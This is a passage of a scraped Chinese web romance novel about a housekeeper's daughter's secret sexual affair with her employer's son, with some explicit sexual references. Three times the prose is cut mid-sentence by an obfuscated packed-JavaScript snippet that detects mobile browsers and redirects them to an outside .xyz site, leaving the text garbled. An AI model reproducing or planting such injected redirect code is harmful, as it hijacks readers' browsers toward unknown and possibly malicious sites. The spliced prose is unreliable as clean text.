岑尽白轻嗤一声,一只手去搂她的腰,微微皱眉,太瘦了;另一只手放在她的耳垂,轻轻的口口着。(这里是男主心疼女主瘦) 舒颜双手放在他胸口,使力推开他后,来不及平稳呼吸,问:“你不是第一次?”(只是问了一个问题) 怎么有些熟练? 岑尽白听此轻笑,还在用手捏着她的耳垂,那里不正常地升温,他呼吸间的清冽气息,也变得暧.昧。 他不回答她,继续用嘴,不断转移阵地,不断在她身上留下痕迹。(这里是男主在给女主挠痒痒) 这哪里像是一个新手?舒颜心中微微遗憾,但觉得还能接受,她也什么都不懂,若是他懂一些,也许体验感更好。 他都长成这样了,追他的人肯定不少,不是第一次也正常。舒颜这样想,心中那点遗憾渐渐压下去。 但是,“记得带那个。”舒颜在火热的间隙中找到机会说。 岑尽白身子僵了,停住了动作,因为他来只是问舒颜为什么在亲了他之后就好像无事发生一样,躲避视线,信息不回,没想到发展成这样,更不要说带什么计生用品。 他抿唇,撑着手臂去看舒颜的脸庞,窘迫至极。 舒颜裹在被子里,无法感受到他的窘迫,只看见刚刚还急促呼吸的男人忽然就冷却了下来,从她身上下来,将她肩上的衣服往上拉。 良久,问她:“今天不做可以吗?我没准备那个。” 舒颜冷声拒绝:“不行。” 岑尽白蹙眉,不语。 “下次,不,明晚。”岑尽白说。 舒颜感受到他的慌乱,噗嗤笑出来,眼睛亮晶晶,将两条胳膊搭在他的后颈,向下压,附在他耳边:“骗你的,我早就在网上买好了……”她告诉了岑尽白在哪。(他们两个只是在开玩笑而已,审核大老爷) 这也暴露了她的蓄谋已久。 没关系,吃到就好。 后面舒颜的确吃到了,吃得艰难。 …… 最后的最后,她依稀听他用沙哑的声音说:“骗你的,我和你一样,初次体验,很棒。” * 昨夜雨大,几乎天快亮才停下,雨停了,舒颜也睡着了。 舒颜再睁开眼睛,是被亲醒的,一张精致如女人的脸放大,正苦恼地看着她,也不知道被他这样看了多久,像是有什么问题要问她。 “怎么了?”舒颜哑着嗓子问。 昨晚磨太久了,光是进去就费老大劲,更别提后面还有第二第三次。 岑尽白见她醒来,收起其他表情,温柔地对她笑笑:“没什么,你感觉怎么样?” “还好。”舒颜感觉大.腿内部很酸疼,异物感很重,但是她不会跟他说。 舒颜看着天似乎有些亮了,想起楼下还有他的父母在,于是委婉道:“你要在这里呆到什么时候?” 意思就是,你该走了。 就算是他父母不会上楼,但是舒芸没跟她说什么时候回来,别墅里还有另外一个刚来的陌生阿姨。 但是还舒颜现在还躺在岑尽白的臂弯里,表情比刚刚做的时候冷漠许多,几乎快要吹散了一室的旖.旎。 岑尽白望着她,那抹笑意僵了几秒,后嘴角缓缓变直,还想再说什么,但是臂弯上的人已经毫不留恋地向另一边滚去,只留下微微冰凉的发丝。 “我要休息了,你也快去睡吧。” 岑尽白望着手臂上的发丝,再看看她毛茸茸的脑袋,沉默一会儿后应声:“好。” 然后他便起身,穿上自己的衣服,轻轻关上房门,走了。 人走之后,房间里瞬间变得冰冷起来,舒颜睁开眼,裹紧全身的被子,将头埋进被子里。 岑尽白从那充满别样气息的房间出来后,转身进了自己的画室。 * 舒颜这一睡,睡到了中午十二点。又是庆幸舒芸不在的一天。 她打开房间门,看到了昨天见到的代替她母亲做活的阿姨,舒颜跟她打了个招呼。 周琴很爱笑,笑起来很真诚,和舒芸笑起来给人的感觉很不一样。 “舒小姐,你醒了?你叫我琴姨就好,我正要叫你起来吃午饭呢?” 舒颜睡了那么久,有些不好意思,“真的抱歉琴姨,我昨天晚上失眠了,今天早上的闹钟没听见。” 周琴摆摆手,“没事的没事的,年轻人睡个懒觉正常的,早上本来要叫你吃早饭的,岑少爷不让,我就没叫。” 舒颜愣了一下,随即问:“他今天起很早?” “是啊,我看岑少爷七点从画室出来,然后就去健身房那边了,嘱咐我中午叫你起来吃饭就好,其他时间不要打扰你。”周琴说。 舒颜面上闪过惊讶,昨晚没睡的也不止她一个,凭什么脚步漂浮的就她一个人,他还有精力画画健身? 不过她现在很饿,昨天晚上消耗太多体力了。 她已经很久没感受过饥饿感了,在舒芸身边,她的一天三顿都是按时按量吃,无论她饿不饿,都要在舒芸的殷切的目光下,吃下她做的营养餐。 现在她不在,舒颜要吃别人做得饭,她怎么可能让别人将饭端到她房间,她必须得下楼吃饭。 她下楼的时候还在想,难道是和岑家的人一起用饭吗,还真让她预感对了。 周琴将她带去的是餐厅,那里正坐着岑尽白和秋月苓。 岑尽白见她进来,没什么表情,秋月苓则是挂着奇异的满意笑容,甚至站起来走过来拉住了她的手,亲昵地将她的座位安置在她的身边。 舒颜忽然觉得,一个人吃饭也挺好的。 秋月苓将手放开,转头招呼周琴:“琴姨,你也一起来吃饭吧,我们家没有什么礼仪尊卑的,我比较喜欢热闹,你快坐下吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963605|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周琴受宠若惊,“不了太太,这不合规距。” 秋月苓又邀请了一次,竭力邀请周琴。 “你快坐吧,之前只有我们母子俩一起吃饭,白白话少,我说三句话他不吭一个字,给我憋的呀。”接着又说,“每次邀请芸姨一起吃饭,芸姨都拒绝,说什么都不一起吃饭,一定要和颜颜在楼上吃。” 提起自己的母亲,舒颜的脸上闪过些难堪,也不是难堪,比难堪要好一个度。舒颜低头又抬头,和岑尽白的目光撞上。 周琴抗不过秋月苓的热情,她自己本身也是一个话多的人,第一次碰到这样好说话的雇家,心中也高兴,终究是盛情难却。 周琴扫了一眼这张桌子的座位,一边坐着舒颜和秋月苓,一边坐着秋月苓,她犹豫片刻,将屁股放在了舒颜椅子的旁边。 就这样,三个女人的对面,坐着一个岑尽白,岑尽白的正对面,坐着舒颜。只要舒颜抬头,就能看到他。 开始用餐了,饭桌上一片欢声笑语,大多数是秋月苓和周琴在说话,舒颜有时候会应答,岑尽白不说话。 “那李大娘去哪了?”秋月苓一双美目目光炯炯,里面流露出璀璨的八卦之光。 周琴佯装不好意思,支支吾吾几个字,最后快吐一口气:“她去找村里那个老实的哑巴鳏夫了!” 秋月苓将筷子重重放在桌上,“这太刺激了!那鳏夫长啥样?” 周琴的脸上浮上红晕:“他是我们村长得最帅的,个子高身体壮,剑眉星目,五官真是俏俏的!听说要不是家里没钱,他就去上大学了,特别聪明,唯一的缺点就是个哑巴,还死了婆娘。” 秋月苓嘿嘿一笑:“怪不得了,我也喜欢长得帅的,李大娘好眼光,他老公也活该,打自己老婆的男人能有什么好本事!” 说完戳了戳身旁正在吃菜的舒颜:“你说是吧,颜颜?”又问了对面的岑尽白,“白白你觉得呢?” 舒颜顿了一下,脸上慌乱难掩,秋月苓正要问怎么了,舒颜正色回答,语气平静:“这种男的都该死。” 岑尽白望着舒颜的脸,在她说之后说:“是。”他在附和舒颜说得话。 周琴有一颗八卦心,她还没和秋月苓说完,悄悄在舒颜椅子后面探出头,对着秋月苓使眼色,秋月苓看懂后也在舒颜椅子后面和周琴碰头。 周琴的声音不大不小:“其实李大娘每次说她出门赶集,都是去找那个俊哑巴……” 秋月苓一脸认真,像是在听老师讲课,不时惊叹捂嘴。 舒颜:“……” 周琴说完后,在收回身子的那一瞬间,眼光一歪,看见了桌子底下的场景: 一双穿着黑色裤子的男人长腿,正在被她旁边坐着的女孩子的一双脚踩着,一只踩在男人的膝盖上,一只踩在男人的脚上,时不时碾磨一下。 周琴像是发现了什么大八卦,瞳孔骤缩,但是她做了那么多年有钱人家的保姆,还是知道什么应该看什么不应该看,她迅速调整好表情,在回到自己位置上恢复了正常姿势后,装作什么都没有看到。 9. 第 9 章 周琴瞟了眼对面的少爷,发现岑尽白没有任何表情,像是根本没有任何人踩他一样。她又歪头看了一眼身边的舒颜,小女孩侧脸恬静,吃饭斯文,看起来乖巧极了。 她百思不得其解,直到秋月苓开口:“琴姨,你怎么了?怎么忽然沉默了?” 周琴这才回神,忙道:“没事没事。” 舒颜也侧脸看了周琴一眼。 * 晚九点,舒颜给岑尽白发了一条消息: 【做吗?】 紧接着舒颜就投入到书本当中,是那本《自卑与超越》,很神奇,她居然看得下去这本书。 舒颜大概翻了三页,房门就被敲响了。 咚咚咚的声音,像是圣诞节前来送礼物的圣诞老人,舒颜心情期待极了。但是这不是圣诞节,而从舒颜很小很小的时候,舒芸就告诉舒颜,世界上根本没有圣诞老人。 舒颜起身将门打开,他应该是刚刚洗完澡。 唇瓣是粉而润泽的,眼睛明明是温润的蓝色,却是带着攻击性的,鼻子是极其挺拔的,他就像是她小时候幻想的小王子。 舒颜露出一个笑意,然后穿着低领浴袍的岑尽白拉进来,就从领子那里拉的,因为那里可以接触到他滑滑的皮肤。 继而吻上去,迎着他有些惊讶的目光。 …… 一连三晚,九点成为了一个信号,舒颜的体验感很好,确实和那些小玩具是不一样的感觉。岑尽白器/大/活/好,除了第一次有些生涩,进去有些艰难之外。 而且,他很照顾舒颜,会时时刻刻关注她的感受,该给的时候就给,该缓的时候就缓,甚至他在舒服的阶段,只要舒颜叫停,他立马就会停下来,即便他的眼中透露着不想停下。 他们在夜晚如胶似漆,在白天几乎没有任何交流,甚至连见面都很少。 她早上会站在阳台那里,看一会儿岑尽白游泳,他有时候会抬头看她,在发现她之后,若有似无地从泳池中上来,然后甩甩头上的水,再拿出一瓶水,仰头喝下。 喉结会随着他的吞咽滚动,腹肌有时候也会颤动,他明明在喝水,却将目光放在她身上,在舒颜看来,带着勾引的意味。 舒颜面色如常,因为他全身上下她都摸过了,除非他在身上画一个王八,不然她是不会有表情的。 她没等岑尽白喝完水,就走进自己的房间,心情好的时候,她会看上两三页的书,若是看不进去,她就下楼,听琴姨和秋阿姨讲八卦。 琴姨讲八卦很夸张,手舞足蹈,用情至深,讲到搞笑的就捧腹大笑,吐沫星子乱飞,讲到伤心处就泫然泣下,秋阿姨就会拿三张纸巾,一张给琴姨,一张给并未哭泣的舒颜,一张擦擦自己眼角的泪。 岑尽白从健身房出来时,会看到这样一个场面:他的母亲和一个新来的阿姨互相安慰别哭泣,旁边女孩抿唇,无辜的一双眼睛有些不解,手里拿着一张只比她手洁白的纸巾,然后站起身,退出这个画面,像一只融入不进去人类世界的流浪猫一样。 等她走过自己身边,像是没看见自己一样,绕过自己上了楼。 岑尽白只好盯着她瘦弱的背影看。 * 在第四天夜晚,舒颜没有给岑尽白发信息,因为她觉得自己太频繁了,这东西还能上瘾不成? 但是在晚九点半,舒颜收到了岑尽白的消息: 【。】 只有一个句号。 舒颜回:【?】 那边显示正在输入中,舒颜先发制人: 【今晚不做,明天的话,再说吧。】 岑尽白没有再发消息过来。 舒颜回完消息之后,走到床头柜那里,第一层是避.孕.套,那天晚上第一次之后,第二天晚上,岑尽白带来了新的套,一共五盒,舒颜问他怎么了,岑尽白有些苦恼地看着她回答道: “你在网上买的,很紧,不舒服。” 舒颜站在一旁想了想,向他活泼好动的下.腹看去,似乎认同般的点点头。 确实,她都吃不下,每次肚子都鼓起来了。 她也不应该那么自私,只顾着自己爽,而不给他好的体验感。 想远了,舒颜合上第一层,打开了第二层,那里是前几天快递过来的新玩具,这东西有两个部分,一个是柱状,应该是入体,一个是比柱状小很多的小圆头,看起来应该是要吸什么东西,如果她穿越回三天之前,她应该要搜一下教程才知道这个要要吸哪里。 但是她知道这个是吸哪里了,因为岑尽白每次揉搓那个地方,她都会有很强烈的感觉。 舒颜想,自己应该不需要它了,但是她上手摸了一下,带着螺旋,软软的,还是嫩嫩的粉色,长得比岑尽白那个好看。 舒颜想了想,还是将它留下,因为她清楚的知道,自己和岑尽白的关系,根本不会持续很久。 她将这个,悄悄放在了床底下的一个小箱子里。 紧接着,她手机叮铃一响,舒颜有些心惊地望去,是舒芸。 【对不起啊颜颜,你外婆要手术,再等我三天,等你外婆手术完我就找一个护工,回去陪你。】 舒颜忽然觉得有些累了。 【妈妈,你辛苦了,晚安。】 睡前吃了两粒褪黑素,躺进被窝开始酝酿睡意。 * 别墅里来了一个“不速之客”,舒颜是这样称呼她的。 门铃按得又响又急,周琴正在打扫卫生,听到这一连串的门铃声赶紧挪动着微胖的身躯,小跑过去:“来了来了。” 门一打开,门外站着穿着黑色皮草上衣和豹纹短皮裙的漂亮女孩,女孩只看了周琴一眼,便赶紧进门,像是在自己家一样命令周琴为她找出一双干净拖鞋,换上之后问:“秋伯母在吗?” 反应过来的周琴直起腰,猜想应该是在问秋月苓:“她出门逛街去了。” 方芝面露遗憾,但妆造精致的狐狸眼睛里却闪过一丝狡黠笑意,又趾气高昂地问:“尽白哥在吗?” 周琴被这欢脱的小女孩弄得有些懵,糊里糊涂地回答:“他应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963606|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在的吧……” 周琴也不太确定。 方芝看着周琴,上下打量,嫌弃皱眉,为什么找了一个那么土的保姆? 方芝环抱着胸,大摇大摆地走进别墅,没有回头地说:“我自己去看,我知道尽白哥住哪,你去给我倒杯水喝,我要渴死了。” 方芝上了三楼,她知道岑尽白住在三楼,因为秋月苓之前和她聊天时提起过,整个三楼都是岑尽白的,他要画画,需要一个安静的环境。 但方芝忘记了,秋月苓还跟她说,岑尽白并不喜欢有人去他的三楼。 三楼的门从左到右,方芝挨个敲门,没人应答就推门而入。 再敲到不知道第几个门的时候,门开了。 舒颜望着眼前这个看着就骄矜且穿着如此“凉快”的女孩,眼中浮现疑惑,她轻声问:“有事吗?” 方芝惊讶极了,因为秋伯之前跟她说过,三楼就只有岑尽白一个人在住的,但是,这里为什么出现一个女孩子。 她看着长得纯到勾人的舒颜,眼睛里浮现出怒火。 “你是谁?你怎么会在三楼住?你和尽白哥是什么关系?”一连三问,像个炮仗一样。 饶是舒颜的顿感力再强,她也能感受到女孩口气中对她的不满,但是她又有些不理解。 “我叫舒颜,我住在三楼怎么了吗?岑尽白和我……嗯……”说到这里,舒颜皱眉,想找出一个词形容她和岑尽白现在的关系,但是那个词在她现在看来,似乎并不适合说出来。 面前的方芝没有耐心了,这个女孩支支吾吾,一定和尽白哥有什么不可告人的关系!说不定,他们已经住在一起了呢! 想到这里,方芝打断了舒颜的思考,讲舒颜推到实木门上,走进舒颜的卧室。 她像是一个警察一样,正在捉拿嫌疑人,她先是将房间的布置扫了一遍,一个枕头,但是这并不能打消她的疑虑,接着打开了桌子的抽屉,发现里面全是书本,奇怪地看了一眼站着的舒颜,然后打开了衣柜,看见里面全是女人上不得台面的衣服,方芝舒了一口气。 幸好,他们并不住在一起。 但是接下来,她将目光放在床头柜那里。 舒颜的心提了起来,她想出声阻止,但是这样会更加引起她的好奇心。 她想,要被发现了。 “这位小姐,你要的水。”周琴站在门口。 她找了一圈,都没有找到这位“活泼”的女客人,但是这位女客人的嗓门很大,她在楼下听到了三楼有声音。 太太嘱咐过,轻易不要上三楼,但是周琴想到三楼还有一个柔弱且手无缚鸡之力的舒颜,而那位风风火火的小姐,舒颜是应付不了的,她很担心,所以她上来了。 方芝停下走向床头柜的动作,转身,依旧对舒颜没有什么好脸色。 她端过周琴手中的水杯,优雅地喝了几口。 然后说:“你为什么住在三楼?”还是在问舒颜。 方芝的耐心几乎快要耗尽,像是一杯随时都要沸腾的水。 10. 第 10 章 舒颜皱眉思考,如果刚刚的答案不能满足她,那她想听到什么样的答案呢? “我是这里请假的保姆的女儿,我在这里借住。”舒颜用两句话,解释了自己在这里的原因。 听完之后,方芝先是对她是个保姆的女儿却住在三楼露出不满,然后表情放松下来,仍旧像一个骄傲的小孔雀一样想:只是个保姆的儿子,这样的出身,怎么可能攀得上岑家? 舒颜并没有觉得方芝的到来对她来说是一种打扰,她觉得有些有趣,因为她好像是冲着岑尽白来的,这是她第一次遇见岑尽白的追求者也。 周琴试探性地劝这位美丽的客人小姐:“三楼好像不能呆太多人,这位小姐还是下楼吧,太太应该很快就回来了。” 方芝看着舒颜淡淡的表情以及姣好的容颜,又听到周琴说这样的话,心中的那股气又涌上来。 “我为什么不能呆在三楼?一个保姆的女儿都能呆在三楼,我为什么不行?” 舒颜心中疑惑,呆在三楼有什么好的吗? 她本来想等方芝主动走出她的房间,谁知方芝却用她那尖细似麻雀的声音,指着舒颜说:“你,你过来告诉我,尽白哥在哪个房间?”她找他房间找得太累了,而且她这一次来到岑家,不能一无所获。 周琴脸上浮现出惊慌,因为她清楚地知道岑尽白和舒颜之间的关系! “还有,你知不知道,尽白哥去哪了?不许骗我!” 舒颜眨眨眼睛,像个雕塑一样站在那里,眼睛一直在打量着方芝的穿搭,这样算好看吗?这样光着腿会不会很冷? “好啊,你跟我来。” 舒颜带着趾高气昂的大小姐走出了自己的房间,她指了指隔壁那间房,“这是他的房间,”又指了指岑尽白房间的旁边一间,“那是他的画室,他平时会在里面呆很长一段时间,这是我觉得的。” 方芝对于舒颜的介绍连一声谢谢都没有说,直接走近打量,却不敢打开岑尽白房间的门。 周琴默默翻了个白眼,却看见舒颜似乎含着笑意地望着方芝。 不是,舒颜和岑少爷,不是那种关系吗?为什么对这个来路不明似乎对岑少爷图谋不轨的女人,那么的和颜悦色?真是奇怪。不过这些都不是她该管的事情,她只要管好自己,做好自己的本职工作就行了。所以她拿着方芝喝完的水杯,下了楼。 方芝提出让舒颜和她一起去找岑尽白,舒颜觉得有趣,就和她一起站在岑尽白房门口,看着方芝敲门,但是敲了好几声,都无人应答。 舒颜提醒:“他应该是不在房间,也许,他在画室?” 于是两人来到了画室,但是敲门之后还是无人应答。 方芝狐疑地看了舒颜一眼,舒颜笑着耸肩,表示自己也不知道岑尽白去哪里了。 但是,这位看起来娇贵且时髦的小姐,试探性地推开了画室的门。 随着木质门的吱呀声,画室的门被打开。 “我们最好不要进去,这是他的私人画室。”舒颜说,尽管她在这间画室里看见了自己的画像。 方芝在看清那被珍贵地放在桌上,用着精致的画框装裱好的画像时,一下自冲进去,确认上面的人确实是自己身旁这位浑身散发着贫穷味道的女孩时,虎目圆睁。 “这里,怎么会有你的画像?!”虽然她清楚地知道岑家根本不会允许保姆家的女儿进家门成为一家人,但是她看着这个女孩的脸,还是有些恐惧。 舒颜做出有些惊讶的表情,她也没想到,自己的画像会在这里,还被精心装裱起来,难道是岑尽白很满意自己画的人像,那她到底要不要将这幅画要回来? 但是眼前愤怒的女孩,让舒颜停下去纠结这样一个问题,她似乎需要安抚。 “这是岑尽白为我画得肖像,他说他缺模特。” “你这么说,还是尽白哥求你当他的模特了?”方芝的声音有些大了,但是她自己意识不到。 这栋别墅里整日都是安安静静的,就算是琴姨和秋阿姨讲八卦,也没有这样大的声音。但是这个女孩好漂亮,尽管她在生气,但是她的眼尾亮晶晶的,耳垂那里也是亮晶晶的钻,好可爱。 “不是的,他怎么会求我呢?”他可是岑家的少爷,“是他邀请我当他的模特。” 舒颜这样平静的大实诚话,却不能换来另外一个人和她心平气和的交谈。方芝没有消除怒火,甚至一直在喘气,望着舒颜的表情充满着不屑和愤怒。 她哼了一声,表示自己不愿意再理舒颜,但是舒颜还在没话找话:“你的手指上是美甲吗?是绿色的,像是青苔的颜色,翠绿中带着水滴。” “啊?”方芝有些愣住了,她怎么忽然夸赞自己的美甲,还那么真诚。 “这是再万方做的,哦,就是尽白哥家的商场,你还没去过吧?”方芝有些小得意,还有些沾沾自喜,因为她知道,万方不是普通人可以去的,这样说来,她倒是有些可怜这个女孩。 舒颜诚实地摇摇头。 这女孩有些呆啊,方芝的火气一下子就没有了。 “喂,真的是因为尽白哥缺模特,所以才邀请你的?”方芝有些别扭地质问。 “是的。” 方芝想,那她也可以找尽白哥给自己画肖像,那就暂且放过这个保姆的女儿。 方芝再次走到那幅画面前,压下心中的嫉妒,却不自觉感叹这幅画画的真美,是人美。她想摸一摸。 “你干什么?”凌厉的声音打断了方芝的动作。 画框的一角悬空,方芝的手恰好压住,画开始向地上倾斜。 却被一个骨节分明的大手接住。 “别碰。”岑尽白警告,那双蓝色的眼睛出现了戾气。 舒颜第一次看见岑尽白这种眼神。 岑尽白接住画之后只看了方芝一眼,接着将目光放在了杵在门口旁边的舒颜。 “尽白哥……”方芝小声说,“我只是想欣赏一下,你怎么那么小气。” 岑尽白不接受小女孩的撒娇,只是抱着那个画框,有些冷漠地说:“你欣赏完了,可以出去了,这间画室是我的私人空间,你这样进来还碰了我的东西,真的很不礼貌。” 舒颜默默退到画室门的外面,岑尽白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965764|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将目光扫过来,里面还带着冷意。 方芝立即表现地有些委屈,她是被家里宠着长大的,除了岑尽白,没人对她说过这样难听的话。 “尽白哥,你好伤我的心,你知不知道,听到你从国外回来我有多开心,我给你开party,给你打了好多电话发了好多消息你都不回我,我被我朋友笑话,可是我都没怪你。你知道我喜欢你的!”方芝控诉,那双贴着碎钻的眼皮红了,但是还在亮晶晶。 舒颜看着方芝发呆,觉得好好看。 “那是你的事情。”岑尽白冷冰冰说。 “……你……”方芝哭了,然后伤心地捂着脱妆的脸跑出去。 就剩下舒颜和岑尽白两个人了。 “对不起,是我跟她介绍这是你的画室的。”舒颜忽然说。 岑尽白重新将肖像放回桌上,舒颜也将目光放在那幅画上,他似乎真的很宝贝这幅画? 岑尽白:“不怪你,又不是你让她进来的。” 岑尽白放好后,转身看着她,眼神露骨又清澈。 舒颜被他盯得头皮发麻,产生了逃脱的想法。 “走吧,我要关上画室的门了。”岑尽白说。 岑尽白将门吱呀一声关上,瞥见女孩粉色的耳垂,弯了唇角。 “你也想戴耳钉吗?”岑尽白问。 舒颜看着紧闭的画室门,转而又迎上他的目光,“你怎么知道?我有些怕疼。” “这样啊。”他悠悠说。她看了好几次方芝的耳垂,那里是一个闪着光的钻石耳钉。 舒颜不懂她的意思,因为她发现那个女孩并没有走,现在正站在楼梯口,用一种妒恨的目光看着自己。 舒颜:“?” 但是在看岑尽白时女孩还是笑得比哭还难看,甚至带着些可怜地祈求:“我原谅你了,秋伯母说你就是这样冷漠的人。”说着方芝又抹了一把眼泪,妆花了,她捂住自己的脸。 岑尽白和舒颜俩人都看着她。 “快到秋伯母生日了,她邀请我了,亲自邀请我过来的,不是我自己要过来的!”大小姐强调。 “那时候我就是你家的客人了岑尽白,你不能再对我这么不礼貌。”大小姐要求。 “我要回去给秋伯母准备生日礼物了。”方芝说完之后,深深看了一眼岑尽白旁边的舒颜一眼,然后走了。 “她是谁?她好像很喜欢你。”舒颜问岑尽白。 岑尽白不在意地说:“她是方家的女儿,叫方芝。” 姓方?这个姓很普遍,舒颜就没多去追问。 岑尽白看着她,忽然逼近,很有压迫感地问了一句:“她喜欢我,你很在意吗?” 他太高,又这样突然接近,舒颜只好后退,听见他的问题后很认真地想了想:“这和我有什么关系吗?” 岑尽白盯着她看了很久,忽然上手,将她脸颊旁的一些发丝拨到她的耳后,手停留几秒,然后放下。 最后他像方芝一样,深深地看了她一眼,好像要将她定在原地,留下她走了。 他走后,稀薄的空气都涌进了自己的胸腔。 11. 第 11 章 晚上,岑方启回来吃完饭,舒颜又一次和岑家人,同坐一桌吃饭。 饭桌上岑家夫妻恩爱是常态,岑尽白习以为常,舒颜暗暗观察,琴姨今晚早早离去,明天会来正常上班。 舒颜注意到岑方启对秋月苓说:“快到你生日了,这次想怎么过?” 秋月苓每年的生日,岑方启都会问她的意见,有时候俩人不想跟任何人一起庆祝,岑方启就会推掉所有工作空出时间,带着秋月苓出去旅游,要是秋月苓说想热闹一些,就会举办一场生日宴会,邀请楠溪市圈中人一起庆祝,生日宴的地点,有时是在家里,有时是直接包下酒店顶层。 “今年就在家里吧,你老是不回家,家里太安静了,这几天琴姨在才热闹些,有时候我都不乐意呆在家里了。家里应该热闹热闹了。” 秋月苓故作伤心地说,一双细眉皱着,马上就能招来岑方启的心疼,百试不厌:“对不起老婆,我今年确实有点忙。” “但话说回来,尽白你是不是应该试试回公司?听说你画画遇见瓶颈期了?”岑方启借机试探自己的儿子。 岑尽白收回自己的余光,望向自己的父亲:“没有,有灵感了。” “如果画画没法坚持了,就回来继承家业吧,帮帮我的忙。”岑方启这样说。 岑尽白却不说话,也不知道在想什么。 秋月苓和舒颜眼观鼻鼻观心,都选择扒饭。 “我说话你有没有在听,回答问题是对人最基本的礼貌。”岑方启五官凌厉,板起脸来气场不容小觑。 秋月苓见气氛不对,立马出来缓和:“儿子才回来多久?你都不让人家休息的?还有我只是说说没人陪我,是跟你撒娇呢,别以为离了你我就找不到人了!” 岑方启听老婆说要找别人,立马慌了,把儿子叫到公司当苦力这件事他也忘了,又说了很多甜言蜜语哄秋月苓。 岑尽白沉默地看着自己父母,偶尔看向舒颜,她似乎在偷偷摸摸地观察着岑方启和秋月苓,一边扒着碗里的饭一边看着打情骂俏的他们,有时扒到几粒米,有时吃了个空都不知道。 舒颜有些疑惑,为什么一个男人可以变脸那么快? 被哄好的秋月苓点到舒颜:“颜颜,你妈妈有跟你说什么时候回来吗?” “应该是再过两天。” “哦,这样,你外婆好些了吗?” “她做完手术应该很快就能养好。”舒颜回答。 秋月苓说这样啊,还说她那还有很多保健品,到时候可以送给她妈妈,给她术后的外婆补补身体。秋月苓的热情舒颜应对不来,应该让舒芸那个硬心肠的来。 最后的最后,舒颜发觉自己似乎和岑方启这个别墅的男主人,从来没有说过一句话,甚至连一个正眼都没有,他根本注意不到自己,他的眼里只有秋阿姨,或者说,自己根本不值得他注意。 * 夜深露重。 舒颜拿着手机刷别人穿耳洞的视频,犹豫许久,这个还是劝退了她,但是有些耳钉真的很好看,她发现自己真的很喜欢亮晶晶的东西,于是想要闲暇时多看几眼,她点了分享,准备分享到自己的微信。 她是蓝色头像,是这个。 点了分享之后,舒颜选了返回短视频页面,继续刷着。 又刷到好看的耳钉推荐,舒颜正富有兴致地看着,微信却进来了新消息。 除了舒芸,一般不会有人给她发消息。 是岑尽白:【你想要?】 想要什么? 但是舒颜瞟到这条消息的正上方,呆住了。 她怎么,分享给了岑尽白? 她深吸一口气,知道这是因为两个人头像太像她看走眼的结果,淡定地回一句:【不想要,谢谢。】 舒颜看着他和她非常相似的蓝色头像,在思考要不要多解释一句。 她正打着字,那边的岑尽白就有进了两条消息。 【我知道了。】 【那今天呢,今天需要我去你房间吗?】 今天?舒颜觉得今天不需要,因为她现在想看耳钉,不太想做,舒颜拒绝了他。 岑尽白在很久之后才回她一句嗯。 * 舒芸走的第五天,舒颜抽出几本考研习题册,在自己神不知鬼不觉的时候,居然做了三页的题目。这种沉浸式做题的感觉,又回来了,却没有让舒颜排斥,甚至做完之后对答案发现有错的地方,还拿出答案仔细看了看解析。 舒颜伸了个懒腰,觉得肚子有些饿,就悄悄跑到楼下的开放厨房,想偷吃点东西。 没想到碰到了琴姨,舒颜跟她打招呼,并大胆说明自己的来意。 琴姨笑笑说:“饿了直接说,琴姨给你做,这有啥麻烦的,你看你瘦的,在我们村的人都要指指点点了。” 舒颜问为什么要指指点点。 周琴被逗笑,说农村人喜欢身材结实的女人,这样的女人能干还能生。 舒颜点点头,估量着摸了摸自己,琴姨哈哈大笑:“但是你长得水灵,总会有男人喜欢的。” 舒颜回:“我不需要男人的喜欢啊。”她只想过普通人的生活,。是琴姨说的,去农村自己真的不能干,该怎么活下去?本来农村还在她最想去的十个地方重排名第二。 舒颜琴姨给自己做的三明治,开始随便想些事情,但是琴姨好像不太想她闲着,又说:“今天少爷好像不在。” 舒颜在嚼三明治的间隙发出一个单音节。 那么平淡?难道和少爷吵架了,周琴昨天就想着两个人可能会闹矛盾,昨天那小姑娘都追少爷追到家里来了,舒颜怎么可能不生气。 周琴默默将手中的活干完,将吃完三明治的舒颜拉到角落里,跟她说:“我跟你说,男人都喜欢女人吃味,这能充分展现他的魅力,但是少爷这样的人,估计已经有很多女人为她吃醋了吧。嗳,你们吵架了吗?” 舒颜皱眉,但听得认真,摇了摇头。 “那他今天怎么一大早就走了,我看前几天,只要你在家,你走到哪他都是在你屁股后面绕的。”琴姨说出她今天看到的可疑点。 “在我屁股后面绕?” “你不知道吗?” 舒颜又摇摇头,她真的没感觉到,或者说,习惯了他一直盯着自己的眼神? 周琴咳嗽一下,觉得舒颜有些憨,“你得把握住啊,岑家这颗大树可不是那么好靠的。”她还 